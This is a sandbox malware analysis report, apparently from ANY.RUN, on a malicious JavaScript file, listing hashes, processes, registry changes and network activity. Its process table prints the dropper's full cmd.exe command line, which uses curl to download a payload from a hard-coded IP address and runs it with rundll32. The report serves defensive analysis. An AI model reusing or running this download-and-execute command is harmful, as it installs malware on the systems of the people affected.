| File name: | Quou.js |
| Full analysis: | https://app.any.run/tasks/39af2107-0b42-4f56-a38b-52d0fb198719 |
| Verdict: | Malicious activity |
| Analysis date: | October 27, 2023, 12:11:37 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines, with CRLF line terminators |
| MD5: | 42E2A684EC22B1D6D8625A592B6E184F |
| SHA1: | A9544CD4233A7096FE4703ECA69F50CDE7D8B286 |
| SHA256: | 4F72F711F565EAEC5FF4925CCD516BC2439794D7C93701A77413AA10E36DE535 |
| SSDEEP: | 6144:K9nS6CjUdQwFwvP6IoPapJQZSzt/pdwCP:K9nSjjUlAfdwCP |
MALICIOUS
Unusual connection from system programs
- wscript.exe (PID: 308)
SUSPICIOUS
Uses RUNDLL32.EXE to load library
- cmd.exe (PID: 1760)
Reads the Internet Settings
- wscript.exe (PID: 308)
Starts CMD.EXE for commands execution
- wscript.exe (PID: 308)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
36
Monitored processes
5
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 308 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Quou.js" | C:\Windows\System32\wscript.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 316 | pING Y98 | C:\Windows\System32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1760 | "C:\Windows\System32\cmd.exe" /c Y98 || ecHo Y98 & pING Y98 || cuRL http://95.216.204.145/K2n/Churo -o %tmP%\Y98.dlld & pING -n 2 Y98 || rUNDlL32 %tmP%\Y98.dlld, Crash & exIt GQdLDcmvoYX | C:\Windows\System32\cmd.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2460 | rUNDlL32 C:\Users\admin\AppData\Local\Temp\Y98.dlld, Crash | C:\Windows\System32\rundll32.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2948 | pING -n 2 Y98 | C:\Windows\System32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 491
Read events
1 469
Write events
22
Delete events
0
Modification events
| (PID) Process: | (308) wscript.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\156\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (308) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (308) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (308) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (308) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
Executable files
0
Suspicious files
6
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 308 | wscript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8555326CC9661C9937DC5053B6C38763 | binary | |
MD5:F516FAB7DF0D1766B2775939A7151FD9 | SHA256:03D7637290C5D995A2CD46411DBD810AFD53853A71AD51DF777B2C8CE25544C5 | |||
| 308 | wscript.exe | C:\Users\admin\AppData\Local\Temp\CabA870.tmp | compressed | |
MD5:F3441B8572AAE8801C04F3060B550443 | SHA256:6720349E7D82EE0A8E73920D3C2B7CB2912D9FCF2EDB6FD98F2F12820158B0BF | |||
| 308 | wscript.exe | C:\Users\admin\AppData\Local\Temp\TarA871.tmp | binary | |
MD5:9441737383D21192400ECA82FDA910EC | SHA256:BC3A6E84E41FAEB57E7C21AA3B60C2A64777107009727C5B7C0ED8FE658909E5 | |||
| 308 | wscript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 | compressed | |
MD5:F3441B8572AAE8801C04F3060B550443 | SHA256:6720349E7D82EE0A8E73920D3C2B7CB2912D9FCF2EDB6FD98F2F12820158B0BF | |||
| 308 | wscript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8555326CC9661C9937DC5053B6C38763 | binary | |
MD5:866912C070F1ECACACC2D5BCA55BA129 | SHA256:85666A562EE0BE5CE925C1D8890A6F76A87EC16D4D7D5F29EA7419CF20123B69 | |||
| 308 | wscript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 | binary | |
MD5:9D21BD2654CF347C0325F4C433F5C8F7 | SHA256:761A3DA350C6D28DBDA919AF6AFBF3F0639C9BD14A7AA826F68E69E0DD53EAE7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
10
DNS requests
2
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
308 | wscript.exe | GET | 200 | 93.184.221.240:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?5ac522518c9813be | unknown | compressed | 61.6 Kb | unknown |
308 | wscript.exe | GET | 200 | 54.87.241.101:80 | http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt | unknown | binary | 1.47 Kb | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1956 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
324 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
308 | wscript.exe | 93.184.221.240:80 | ctldl.windowsupdate.com | EDGECAST | GB | whitelisted |
308 | wscript.exe | 54.87.241.101:80 | www.ssl.com | AMAZON-AES | US | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
ctldl.windowsupdate.com |
| whitelisted |
www.ssl.com |
| unknown |